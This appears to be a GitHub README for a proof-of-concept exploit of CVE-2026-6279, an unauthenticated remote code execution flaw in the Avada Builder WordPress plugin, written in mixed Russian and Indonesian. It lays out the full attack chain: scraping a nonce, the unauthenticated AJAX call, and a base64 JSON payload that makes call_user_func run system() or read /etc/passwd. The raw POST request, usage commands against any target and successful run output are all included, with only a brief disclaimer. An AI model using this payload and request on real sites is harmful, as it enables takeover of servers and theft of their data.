zycoder0day/cve-2026-6279CVE-2026-6279 — Avada Builder <= 3.15.2 Неаутентифицированное RCE через call_user_func()
Уязвимость Remote Code Execution (RCE) без аутентификации в плагине Avada Builder (Fusion Builder) версии <= 3.15.2, используемом темой WordPress Avada — одной из самых популярных премиальных тем WordPress с 900,000+ активных установок.
Атака эксплуатирует AJAX-обработчик wp_ajax_nopriv_fusion_get_widget_markup, который обрабатывает параметр render_logics через base64_decode() + json_decode() и передаёт его в call_user_func() без allowlist, что позволяет выполнять произвольные функции PHP, такие как system(), passthru(), shell_exec(), exec() и file_get_contents().
1. Nonce Deterministik wp_create_nonce('fusion_load_nonce') untuk UID 0
(terekspos di halaman depan dengan shortcode Avada)
2. AJAX Unauthenticated wp_ajax_nopriv_fusion_get_widget_markup
(tidak memerlukan login)
3. Deserialisasi base64_decode(render_logics) → json_decode()
(tidak ada validasi struktur)
4. call_user_func() call_user_func($value['function'], $value['args'])
(TANPA allowlist — fungsi PHP apapun bisa dipanggil)
5. RCE! system("id") → uid=... di response body
╔═════════════════════════════════════════════════════════════╗
║ CVE-2026-6279 • Avada Builder <= 315.2 ║
║ Unauthenticated RCE via call_user_func() ║
║ Proof of Concept — Single Target ║
║ ║
║ Copyright © 2026 XENON1337 ║
║ Thanks: Shadow Girlfriend 💜 ║
╚═══════════════════════════════════════════════════════════════╝
══════════════════════════════════════════════════════
Target : localhost:8888
Waktu : 2026-05-23 16:32:41
══════════════════════════════════════════════════════
[*] Mendeteksi target...
[+] Avada terdeteksi! (http://localhost:8888)
[*] Mencari nonce fusion_load_nonce...
[+] Nonce ditemukan: b6d7b084c2 (sumber: homepage)
[*] Mengirim payload RCE...
[*] Mencoba 5 fungsi × 3 widget = 15 kombinasi
══════════════════════════════════════════════════════
[★] RCE BERHASIL!
Target : http://localhost:8888
Output : uid=1000(xenon1337)
Fungsi : system()
Widget : WP_Widget_Recent_Posts
Nonce : b6d7b084c2 (homepage)
Waktu : 1.2s
[✓] Hasil disimpan ke vuln.txt
══════════════════════════════════════════════════════
# Tanpa protokol (auto-detect)
python3 CVE-2026-6279.py target.com
# Dengan protokol
python3 CVE-2026-6279.py http://target.com
python3 CVE-2026-6279.py https://target.com
# Dengan port
python3 CVE-2026-6279.py target.com:8080
python3 CVE-2026-6279.py http://target.com:8080
{
"type": "wp_conditional_tags",
"value": {
"function": "system",
"args": "id"
}
}
Base64 encoded → отправляется как render_logics через POST на wp-admin/admin-ajax.php.
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
action=fusion_get_widget_markup
fusion_load_nonce=<nonce>
render_logics=<base64_payload>
widget_type=WP_Widget_Recent_Posts
class-fusion-app.php L1665)[fusion_post_cards] или [fusion_table_of_contents]check_ajax_referer('fusion_load_nonce') проверяет только валидность nonce, а не то, что пользователь аутентифицированcall_user_func($function, $args) принимает только 1 аргумент. Функции, которым нужно 2+ аргумента (например, proc_open, popen), не могут быть эксплуатированы. Работают только функции с одним аргументом: system, passthru, shell_exec, exec, file_get_contents.
9.8 CRITICAL (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
call_user_func() в get_value()wp_ajax_nopriv_ только аутентифицированными пользователямиrender_logicsДанный PoC создан только в образовательных целях и для исследований в области безопасности. Использование против систем без разрешения незаконно. Автор не несёт ответственности за злоупотребление.
Copyright © 2026 XENON1337
Особая благодарность: Shadow Girlfriend 💜
| Функция | Аргумент | Результат |
|---|
system() | id | uid=1000(xenon1337) ✅ |
passthru() | id | uid=1000(xenon1337) ✅ |
shell_exec() | id | uid=1000(xenon1337) ✅ |
exec() | id | uid=1000(xenon1337) ✅ |
file_get_contents() | /etc/passwd | root:x:0:0:... ✅ |
| Файл | Строка | Функция |
|---|
class-fusion-builder-conditional-render-helper.php | L1083 | should_render() — deserialize render_logics |
class-fusion-builder-conditional-render-helper.php | L1531 | get_value() — call_user_func() tanpa allowlist |
fusion-widget.php | L44 | render_logics attribute |
fusion-widget.php | L389 | wp_ajax_nopriv_ AJAX handler |
class-fusion-builder.php | L7551 | Nonce registration (deterministik untuk UID 0) |